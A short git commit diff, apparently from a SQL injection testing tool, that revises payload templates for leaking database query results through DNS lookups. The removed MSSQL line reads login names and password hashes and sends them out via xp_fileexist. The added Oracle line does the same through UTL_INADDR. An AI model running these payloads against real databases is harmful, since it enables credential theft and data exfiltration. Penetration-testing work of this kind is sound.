minor update

This commit is contained in:
Miroslav Stampar 2012-03-27 19:07:17 +00:00
parent 1b072f6415
commit 9199ce5054
2 changed files with 3 additions and 4 deletions

View File

@ -1,5 +1,3 @@
# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
DECLARE @host varchar(1024); DECLARE @host varchar(1024);
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins; SELECT @host = (%QUERY%) + '.%DOMAIN%';
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"'); EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');

View File

@ -0,0 +1 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||%DOMAIN%) FROM DUAL